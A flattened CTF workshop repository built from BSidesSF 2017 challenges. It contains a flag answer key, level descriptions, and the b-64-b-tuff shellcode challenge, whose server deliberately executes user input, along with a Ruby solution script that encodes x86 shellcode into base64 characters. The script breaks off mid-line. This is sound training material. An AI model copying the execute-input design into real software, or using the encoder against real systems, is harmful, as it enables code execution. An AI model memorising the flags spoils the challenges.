├── FLAGS.md ├── PRIMER.md ├── README.md ├── b-64-b-tuff ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── b-64-b-tuff.xinetd │ ├── src │ │ ├── Makefile │ │ ├── b-64-b-tuff.c │ │ └── flag.txt │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── b-64-b-tuff.c └── solution │ ├── command_set.txt │ ├── run_raw │ ├── Makefile │ └── run_raw.c │ ├── shellcode │ ├── shellcode.asm │ ├── shellcode2.asm │ └── shellcode3.asm │ └── sploit.rb ├── docker-compose.yml ├── dontcrash ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── dontcrash.xinetd │ ├── src │ │ ├── Makefile │ │ ├── dontcrash.c │ │ └── flag.h │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml └── distfiles │ ├── Makefile │ ├── README.md │ └── dontcrash.c ├── easyauth ├── Makefile ├── challenge │ ├── Dockerfile │ └── src │ │ ├── auth.php │ │ ├── index.php │ │ └── login_form.php ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── README.md │ └── index.php └── solution │ └── README.md ├── easycap ├── distfiles │ ├── README.md │ └── easycap.pcap └── solution │ └── README.md ├── easyreverse ├── challenge │ ├── Makefile │ └── easyreverse.c ├── distfiles │ ├── easyreverse-32 │ └── easyreverse-64 └── solution │ └── README.md ├── hashecute ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── hashecute.xinetd │ └── src │ │ ├── Makefile │ │ ├── flag.txt │ │ └── hashecute.c ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── hashecute.c └── solution │ └── sploit.rb ├── in-plain-sight ├── README.md ├── challenge │ ├── README.md │ ├── flag.txt │ └── poracle.diff ├── distfiles │ └── README.md └── solution │ └── solution.txt ├── nibbler ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── nibbler.xinetd │ └── src │ │ ├── Makefile │ │ ├── flag.txt │ │ └── nibbler.c ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── README.rd │ └── nibbler.c └── solution │ └── README.md ├── readfile-nz ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── readfile-nz.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.txt │ │ └── readfile-nz.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── readfile-nz.c └── solution │ └── pwn.asm ├── readfile ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── readfile.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.txt │ │ └── readfile.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── readfile.c └── solution │ └── pwn.asm ├── readmem-nz ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── readmem-nz.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── readmem-nz.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── readmem-nz.c └── solution │ └── pwn.asm ├── readmem ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── readmem.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── readmem.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── readmem.c └── solution │ └── pwn.asm ├── readstack-nz ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── readstack-nz.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── readstack-nz.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── readstack-nz.c └── solution │ └── pwn.asm ├── readstack ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── readstack.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── readstack.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── readstack.c └── solution │ └── pwn.asm ├── seteax-nz ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── seteax-nz.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── seteax-nz.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── seteax-nz.c └── solution │ └── pwn.asm ├── seteax ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── seteax.xinetd │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── seteax.c │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── seteax.c └── solution │ └── pwn.asm ├── shortest ├── Makefile ├── challenge │ ├── Dockerfile │ ├── shortest.xinetd │ └── src │ │ ├── Makefile │ │ ├── README.md │ │ ├── flag.txt │ │ ├── shortest │ │ └── shortest.c ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── README.md │ └── shortest └── solution │ └── README.md ├── skipper ├── README.md ├── challenge │ ├── Makefile │ └── skipper.c ├── distfiles │ ├── README.md │ ├── skipper-32 │ └── skipper-64 └── solution │ └── README.md ├── skipper2 ├── challenge │ ├── Makefile │ └── skipper2.c ├── distfiles │ ├── README.md │ ├── skipper2-32 │ └── skipper2-64 └── solution │ └── README.md ├── tools ├── Makefile ├── assemble-to-stdout.rb ├── binary-to-string.rb └── run-raw-code.c ├── vhash ├── Makefile ├── challenge │ ├── Dockerfile │ ├── c_src │ │ ├── Makefile │ │ ├── vhash │ │ └── vhash.c │ └── php_src │ │ ├── auth.php │ │ ├── index.php │ │ └── login_form.php ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── README.md │ ├── index.php │ └── vhash └── solution │ └── README.md ├── writemem-nz ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── writemem-nz.c │ ├── writemem-nz.xinetd │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── writemem-nz.c └── solution │ └── pwn.asm ├── writemem ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── writemem.c │ ├── writemem.xinetd │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── writemem.c └── solution │ └── pwn.asm ├── writestack-nz ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── writestack-nz.c │ ├── writestack-nz.xinetd │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── writestack-nz.c └── solution │ └── pwn.asm ├── writestack ├── Makefile ├── README.md ├── challenge │ ├── Dockerfile │ ├── src │ │ ├── Makefile │ │ ├── flag.h │ │ └── writestack.c │ ├── writestack.xinetd │ └── xinetd.conf ├── deployment │ ├── deploy.yaml │ └── service.yaml ├── distfiles │ ├── Makefile │ ├── README.md │ └── writestack.c └── solution │ └── pwn.asm └── ximage ├── challenge ├── README.md ├── create_code.rb ├── embed_code.rb └── images │ ├── 2017_logo_small2.bmp │ ├── 660px-San_Francisco_districts_map.bmp │ ├── alcatraz.bmp │ ├── angry_cow.bmp │ ├── fireescape.bmp │ ├── happycow.bmp │ └── neoncow.bmp ├── distfiles ├── 2017_logo_small2.bmp ├── 660px-San_Francisco_districts_map.bmp ├── README.md ├── alcatraz.bmp ├── angry_cow.bmp ├── fireescape.bmp ├── happycow.bmp └── neoncow.bmp └── solution ├── README.md ├── extract_code.rb └── run_raw_code.c /FLAGS.md: -------------------------------------------------------------------------------- 1 | This file lists all the flags, and gives you a chance to verify that you got the correct one! 2 | 3 | * fa1782c9a706d83171b099175f4e7649 => b-64-b-tuff 4 | * f1cf195926f7b163cc52c7d9ab6db589 => dontcrash 5 | * 314499024ca35fa77155dec25b1509e6 => easyauth 6 | * 385b87afc8671dee07550290d16a8071 => easycap 7 | * a4d813bd601c5aa11a7f467e1e430d29 => easyreverse 8 | * ad678c882a03485652d2d409680aaf67 => hashecute 9 | * 1d010f248d => in-plain-sight 10 | * c6888f365033505715038f57a551bce1 => nibbler 11 | * 520bb974b0d9d28690b7ad84ce9b700e => readfile-nz 12 | * 0c49a8112e0c972ad8c1a4999732e278 => readfile 13 | * 12614b374349a431149019a3715346a0 => readmem-nz 14 | * 1266fb486d358bc50b9323fb3d93555e => readmem 15 | * 7ea70ea6e8801cc7eb55b838d1802065 => readstack-nz 16 | * f7d94cabcd6a1ca223b82a1e35bc9faf => readstack 17 | * a0be35135882ab563f2c80110416617b => seteax-nz 18 | * 73afdc142ba6789826605b3c840f66f0 => seteax 19 | * 63a2add44cc48ba13165c43ef4914b6a => shortest 20 | * f51579e9ca38ba87d71539a9992887ff => skipper 21 | * 18ee7c71d2794f546ca23e6858de0bc6 => skipper2 22 | * cdc0357731d10aa24cbf634db1823749 => vhash 23 | * 91555dee6d1defcef5d44ae5687abcbc => writemem-nz 24 | * 3f1b3f32aca7ac2d46500125c15a5993 => writemem 25 | * ef303ea023f6fbdd554a050d3c35a7f3 => writestack-nz 26 | * 328218b8372dbfe89b8f9917fe03fd20 => writestack 27 | * c3dbbf0298eceb3edcd6d2505fd8d30d => ximage 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Welcome to the SkullSpace CTF workshop! 2 | 3 | This is a list of all the levels. You can find all the files you need to complete each level in the appropriate folders. You'll be given the port number, and occasionally source files or other things you need. And sometimes hints! 4 | 5 | You might also want to check out [FLAGS.md](FLAGS.md) to verify your flags. 6 | 7 | And, most importantly, have a look at [PRIMER.md](PRIMER.md), which explains everything you need to know about tools, assembly, and everything else! 8 | 9 | These are roughly ordered by difficulty, easiest to hardest. 10 | 11 | # Easier / training challenges 12 | 13 | These are challenges designed to teach basic CTF skills, the primary theme being writing shellcode. 14 | 15 | ## [easyauth](easyauth/) 16 | 17 | Port: 6112 18 | 19 | A simple web problem. 20 | 21 | ## [dontcrash](dontcrash) 22 | 23 | Port: 6113 24 | 25 | This is a great beginner level, simply write shellcode that doesn't crash! 26 | 27 | ## [easycap](easycap) 28 | 29 | Port: n/a 30 | 31 | Can you read a pcap? 32 | 33 | ## [easyreverse](easyreverse) 34 | 35 | Port: n/a 36 | 37 | Reverse engineer this simple program! 38 | 39 | ## [seteax](seteax) [seteax-nz](seteax-nz) 40 | 41 | Port: 6114 (basic) and 6115 (nz) 42 | 43 | Write some fairly simple shellcode (the -nz variation doesn't allow NUL bytes) 44 | 45 | ## [readmem](readmem) [readmem-nz](readmem-nz) 46 | 47 | Port: 6116 (basic) and 6117 (nz) 48 | 49 | Read the flag from a known memory address 50 | 51 | ## [writemem](writemem) [writemem-nz](writemem-nz) 52 | 53 | Port: 6118 (basic) and 6119 (nz) 54 | 55 | Write a special value to a known memory address 56 | 57 | ## [readstack](readstack) [readstack-nz](readstack-nz) 58 | 59 | Port: 6120 (basic) and 6121 (nz) 60 | 61 | Read the flag off the stack! 62 | 63 | ## [writestack](writestack) [writestack-nz](writestack-nz) 64 | 65 | Port: 6122 (basic) and 6123 (nz) 66 | 67 | Write a special value to the stack (without damaging the rest of the stack) 68 | 69 | ## [readfile](readfile) [readfile-nz](readfile-nz) 70 | 71 | Port: 6124 (basic) and 6125 (nz) 72 | 73 | Read the flag from a file on the disk 74 | 75 | # Harder / real challenges 76 | 77 | These are challenges from BSidesSF CTF. Some are easier, some are harder. You can find solutions if you google the name, so only do that if you're completely stuck! 78 | 79 | ## [skipper](skipper), [skipper2](skipper2) 80 | 81 | Port: n/a 82 | 83 | Modify a binary (on disk or in memory) to decrypt the flag 84 | 85 | ## [hashecute](hashecute) 86 | 87 | Port: 6126 88 | 89 | Shellcode with an MD5 prefix 90 | 91 | ## [shortest](shortest) 92 | 93 | Port: 6127 94 | 95 | Shellcode, in 5 bytes or less 96 | 97 | ## [b-64-b-tuff](b-64-b-tuff) 98 | 99 | Port: 6128 100 | 101 | Shellcode, that's base64 compatible 102 | 103 | ## [in-plain-sight](in-plain-sight) 104 | 105 | Port: n/a 106 | 107 | A fun little crypto problem 108 | 109 | ## [ximage](ximage) 110 | 111 | Port: n/a 112 | 113 | Good luck figuring out the flag! Just remember the theme. :) 114 | 115 | ## [vhash](vhash) 116 | 117 | Port: 6129 118 | 119 | Some reverse engineering, some crypto, and some web. Fairly difficult! 120 | 121 | ## [nibbler](nibbler) 122 | 123 | Port: 6130 124 | 125 | Write some game AI to build shellcode! Really 126 | -------------------------------------------------------------------------------- /b-64-b-tuff/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/b-64-b-tuff 6 | 7 | .PHONY: container push deploy delete redeploy deploy-service 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | push: 15 | gcloud docker -- push ${CONTAINER_TAG} 16 | 17 | # Deploy the challenge to kubernetes 18 | deploy: 19 | kubectl create -f deployment/deploy.yaml 20 | 21 | redeploy: 22 | kubectl delete -f deployment/deploy.yaml 23 | kubectl create -f deployment/deploy.yaml 24 | 25 | # This is what exposes the container to the world 26 | deploy-service: 27 | kubectl create -f deployment/service.yaml 28 | 29 | # Delete the challenge from our cluster 30 | delete: 31 | kubectl delete -f deployment/deploy.yaml 32 | kubectl create -f deployment/service.yaml 33 | -------------------------------------------------------------------------------- /b-64-b-tuff/README.md: -------------------------------------------------------------------------------- 1 | This is an interesting shellcode challenge that I'm not 100% sure is solveable. 2 | 3 | Basically, the user sends some data. That data is encoded into base64 then 4 | the base64 is run as if it was machine code. The goal is to write data that 5 | morphs into executable base64. 6 | -------------------------------------------------------------------------------- /b-64-b-tuff/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | ADD b-64-b-tuff.xinetd /etc/xinetd.d/b-64-b-tuff 13 | 14 | # Set up xinetd 15 | ADD xinetd.conf /etc/xinetd.conf 16 | RUN mkdir /var/log/xinetd/ 17 | 18 | 19 | USER root 20 | EXPOSE 6128 21 | 22 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 23 | -------------------------------------------------------------------------------- /b-64-b-tuff/challenge/b-64-b-tuff.xinetd: -------------------------------------------------------------------------------- 1 | service b-64-b-tuff 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6128 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/b-64-b-tuff 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /b-64-b-tuff/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | LIBS?= 3 | OBJS=b-64-b-tuff.o 4 | 5 | all: b-64-b-tuff 6 | 7 | b-64-b-tuff: b-64-b-tuff.o 8 | ${CC} -m32 -o b-64-b-tuff b-64-b-tuff.o ${LIBS} 9 | 10 | b-64-b-tuff.o: 11 | ${CC} -m32 -c -o b-64-b-tuff.o b-64-b-tuff.c 12 | 13 | clean: 14 | rm -fv *.o b-64-b-tuff core core.* 15 | -------------------------------------------------------------------------------- /b-64-b-tuff/challenge/src/b-64-b-tuff.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define LENGTH 4096 9 | #define MAX_ENCODED_LENGTH (4 * ((LENGTH + 2) / 3)) 10 | 11 | static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; 12 | static int mod_table[] = {0, 2, 1}; 13 | 14 | /* disables IO buffering on the file descriptor */ 15 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 16 | 17 | static uint8_t *base64_encode(const unsigned char *data, size_t input_length, uint8_t *encoded_data) { 18 | 19 | int i; 20 | int j; 21 | 22 | size_t output_length = 4 * ((input_length + 2) / 3); 23 | 24 | memset(encoded_data, '\0', output_length); 25 | 26 | if (encoded_data == NULL) return NULL; 27 | 28 | for (i = 0, j = 0; i < input_length; ) { 29 | 30 | uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0; 31 | uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0; 32 | uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0; 33 | 34 | uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c; 35 | 36 | encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F]; 37 | encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F]; 38 | encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F]; 39 | encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F]; 40 | } 41 | 42 | for (i = 0; i < mod_table[input_length % 3]; i++) 43 | encoded_data[output_length - 1 - i] = '='; 44 | 45 | return encoded_data; 46 | } 47 | 48 | int main(int argc, char *argv[]) 49 | { 50 | uint8_t *data; 51 | ssize_t len; 52 | uint8_t *encoded; 53 | size_t out_len; 54 | uint8_t *encoded_data; 55 | 56 | alarm(10); 57 | 58 | disable_buffering(stdout); 59 | disable_buffering(stderr); 60 | 61 | encoded_data = mmap((void*)0x41410000, MAX_ENCODED_LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 62 | printf("Address of buffer start: %p\n", encoded_data); 63 | 64 | data = malloc(LENGTH); 65 | len = read(0, data, LENGTH); 66 | 67 | if(len < 0) { 68 | printf("Error reading!\n"); 69 | exit(1); 70 | } 71 | 72 | printf("Read %zd bytes!\n", len); 73 | 74 | encoded = base64_encode(data, len, encoded_data); 75 | printf("%s\n", encoded); 76 | 77 | asm("call *%0\n" : :"r"(encoded_data)); 78 | 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /b-64-b-tuff/challenge/src/flag.txt: -------------------------------------------------------------------------------- 1 | fa1782c9a706d83171b099175f4e7649 2 | -------------------------------------------------------------------------------- /b-64-b-tuff/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /b-64-b-tuff/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: b-64-b-tuff 6 | spec: 7 | replicas: 1 8 | template: 9 | metadata: 10 | labels: 11 | app: b-64-b-tuff 12 | spec: 13 | containers: 14 | - name: b-64-b-tuff 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/b-64-b-tuff 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6128 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /b-64-b-tuff/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: b-64-b-tuff-service 5 | labels: 6 | app: b-64-b-tuff 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6128 11 | targetPort: 6128 12 | selector: 13 | # This should match the app name above 14 | app: b-64-b-tuff 15 | -------------------------------------------------------------------------------- /b-64-b-tuff/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /b-64-b-tuff/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. But, there's a catch! 2 | 3 | The flag is in ./flag.txt. 4 | -------------------------------------------------------------------------------- /b-64-b-tuff/distfiles/b-64-b-tuff.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/b-64-b-tuff.c -------------------------------------------------------------------------------- /b-64-b-tuff/solution/run_raw/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | LIBS?= 3 | CFLAGS?=-m32 4 | 5 | all: run_raw 6 | 7 | run_raw: run_raw.o 8 | ${CC} ${CFLAGS} -o run_raw run_raw.o ${LIBS} 9 | 10 | clean: 11 | rm -fv *.o run_raw core core.* 12 | -------------------------------------------------------------------------------- /b-64-b-tuff/solution/run_raw/run_raw.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define LENGTH 4096 9 | 10 | int main(int argc, char *argv[]) 11 | { 12 | uint8_t *data; 13 | 14 | /* TODO: I might get rid of the base address when I figure out how to set the MSB. */ 15 | data = mmap((void*)0x41410000, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | read(0, data, LENGTH); 17 | 18 | asm("call *%0\n" : :"r"(data)); 19 | 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /b-64-b-tuff/solution/shellcode/shellcode.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | push 0x41414141 4 | pop ebx 5 | -------------------------------------------------------------------------------- /b-64-b-tuff/solution/shellcode/shellcode2.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | push dword 0x11111111 4 | push dword 0x22222222 5 | push dword 0x33333333 6 | push dword 0x44444444 7 | push dword 0x55555555 8 | push dword 0x66666666 9 | push dword 0x77777777 10 | popad 11 | -------------------------------------------------------------------------------- /b-64-b-tuff/solution/shellcode/shellcode3.asm: -------------------------------------------------------------------------------- 1 | bits 64 2 | 3 | call geteip 4 | db "[written by shellcode]", 0x0a, 0 5 | 6 | geteip: 7 | pop rcx 8 | 9 | mov rax, 4 ; sys_write 10 | mov rbx, 1 ; stdout 11 | mov rdx, 24 ; length 12 | sysenter 13 | -------------------------------------------------------------------------------- /b-64-b-tuff/solution/sploit.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8bit 2 | 3 | require 'base64' 4 | 5 | SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; 6 | CACHE = {} 7 | TEMP_OFFSET = 0x100 8 | 9 | def get_xor_values_8(desired) 10 | if((desired & 0x80) != 0) 11 | raise(Exception, "Impossible to encode a value with a 1 in the MSB: 0x%x" % desired) 12 | end 13 | 14 | if(CACHE[desired]) 15 | return CACHE[desired] 16 | end 17 | 18 | # It's possible to encode many values in a single XOR. But, to simplify 19 | # XOR'ing 32-bit values together, we want to be consistent, and using two 20 | # values works for any single byte. 21 | SET.bytes.each do |b1| 22 | SET.bytes.each do |b2| 23 | if((b1 ^ b2) == desired) 24 | CACHE[desired] = [b1, b2] 25 | return [b1, b2] 26 | end 27 | end 28 | end 29 | 30 | # Give up :( 31 | puts("Couldn't find an encoding for: 0x%02x" % desired) 32 | exit(1) 33 | end 34 | 35 | def get_xor_values_32(desired) 36 | # Separate out the top bits, since we can't easily encode them 37 | top_bits = desired & 0x80808080 38 | desired = desired & 0x7F7F7F7F 39 | 40 | b1, b2, b3, b4 = [desired].pack('N').unpack('cccc') 41 | 42 | v1 = get_xor_values_8(b1) 43 | v2 = get_xor_values_8(b2) 44 | v3 = get_xor_values_8(b3) 45 | v4 = get_xor_values_8(b4) 46 | 47 | result = [ 48 | [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(), 49 | [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(), 50 | ] 51 | 52 | # Put the most significant bits on the first result so we can deal with them 53 | # later 54 | result[0] = result[0] | top_bits 55 | 56 | # puts '0x%08x' % result[0] 57 | # puts '0x%08x' % result[1] 58 | # puts('----------') 59 | # puts('0x%08x' % (result[0] ^ result[1])) 60 | # puts() 61 | return result 62 | end 63 | 64 | def set_ecx(value) 65 | if((value & 0x80808080) != 0) 66 | raise(Exception, "Attempting to set ecx to an impossible value: 0x%08x" % value) 67 | end 68 | puts("Attempting to set ecx to 0x%08x..." % value) 69 | 70 | buffer = "" 71 | 72 | xor = get_xor_values_32(value) 73 | 74 | # push dword 0x???????? 75 | buffer += "\x68" + [xor[0]].pack('I') 76 | 77 | # pop eax 78 | buffer += "\x58" 79 | 80 | # xor eax, 0x???????? 81 | buffer += "\x35" + [xor[1]].pack('I') 82 | 83 | # push eax 84 | buffer += "\x50" 85 | 86 | # pop ecx 87 | buffer += "\x59" 88 | end 89 | 90 | def get_shellcode(filename) 91 | system("nasm -o asm.tmp %s" % filename) 92 | data = File.new('asm.tmp', 'rb').read() 93 | system("rm -f asm.tmp") 94 | 95 | puts("Shellcode: %s" % data.bytes.map { |b| '\x%02x' % b}.join) 96 | return data 97 | end 98 | 99 | def get_xor_block(value) 100 | # Figure out which MSB's are set, then remove them for now 101 | value_extras = value & 0x80808080 102 | value &= 0x7F7F7F7F 103 | 104 | code = '' 105 | code += "\x68" + [value].pack('N') # push dword 0x???????? 106 | code += "\x5A" # pop edx 107 | code += "\x31\x51\x41" # xor [ecx+0x41], edx 108 | 109 | if((value_extras & 0x00000080) != 0) 110 | # Make sure the previous stack value is 0 111 | code += "\x57" # push edi (0) 112 | code += "\x57" # push edi (0) 113 | code += "\x5a" # pop edx 114 | code += "\x5a" # pop edx 115 | 116 | # Set edx to 0x80 117 | code += "\x6a\x7a" # push 0x7a 118 | code += "\x5a" # pop edx 119 | code += "\x42" # inc edx 120 | code += "\x42" # inc edx 121 | code += "\x42" # inc edx 122 | code += "\x42" # inc edx 123 | code += "\x42" # inc edx 124 | code += "\x42" # inc edx 125 | 126 | # Pop it off the stack, mis-aligned to shift it 127 | code += "\x52" # push edx 128 | code += "\x4c" # dec esp 129 | code += "\x4c" # dec esp 130 | code += "\x4c" # dec esp 131 | code += "\x5a" # pop edx 132 | code += "\x31\x51\x41" # xor [ecx+0x41], edx 133 | 134 | # Clean up the stack 135 | code += "\x44" # inc esp 136 | code += "\x44" # inc esp 137 | code += "\x44" # inc esp 138 | end 139 | 140 | if((value_extras & 0x00008000) != 0) 141 | # Make sure the previous stack value is 0 142 | code += "\x57" # push edi (0) 143 | code += "\x57" # push edi (0) 144 | code += "\x5a" # pop edx 145 | code += "\x5a" # pop edx 146 | 147 | # Set edx to 0x80 148 | code += "\x6a\x7a" # push 0x7a 149 | code += "\x5a" # pop edx 150 | code += "\x42" # inc edx 151 | code += "\x42" # inc edx 152 | code += "\x42" # inc edx 153 | code += "\x42" # inc edx 154 | code += "\x42" # inc edx 155 | code += "\x42" # inc edx 156 | 157 | # Pop it off the stack, mis-aligned to shift it 158 | code += "\x52" # push edx 159 | code += "\x4c" # dec esp 160 | code += "\x4c" # dec esp 161 | code += "\x5a" # pop edx 162 | code += "\x31\x51\x41" # xor [ecx+0x41], edx 163 | 164 | # Clean up the stack 165 | code += "\x44" # inc esp 166 | code += "\x44" # inc esp 167 | end 168 | 169 | if((value_extras & 0x00800000) != 0) 170 | # Make sure the previous stack value is 0 171 | code += "\x57" # push edi (0) 172 | code += "\x57" # push edi (0) 173 | code += "\x5a" # pop edx 174 | code += "\x5a" # pop edx 175 | 176 | # Set edx to 0x80 177 | code += "\x6a\x7a" # push 0x7a 178 | code += "\x5a" # pop edx 179 | code += "\x42" # inc edx 180 | code += "\x42" # inc edx 181 | code += "\x42" # inc edx 182 | code += "\x42" # inc edx 183 | code += "\x42" # inc edx 184 | code += "\x42" # inc edx 185 | 186 | # Pop it off the stack, mis-aligned to shift it 187 | code += "\x52" # push edx 188 | code += "\x4c" # dec esp 189 | code += "\x5a" # pop edx 190 | code += "\x31\x51\x41" # xor [ecx+0x41], edx 191 | 192 | # Clean up the stack 193 | code += "\x44" # inc esp 194 | end 195 | 196 | if((value_extras & 0x80000000) != 0) 197 | # Make sure the previous stack value is 0 198 | code += "\x6a\x7a" # push 0x7a 199 | code += "\x5a" # pop edx 200 | code += "\x42" # inc edx 201 | code += "\x42" # inc edx 202 | code += "\x42" # inc edx 203 | code += "\x42" # inc 